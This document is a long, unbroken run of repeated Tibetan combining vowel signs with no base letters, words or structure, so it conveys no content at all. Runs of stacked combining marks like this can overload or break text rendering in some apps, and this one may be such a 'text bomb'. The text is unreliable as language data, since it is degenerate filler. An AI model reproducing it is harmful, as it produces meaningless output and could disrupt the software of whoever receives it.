ྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀི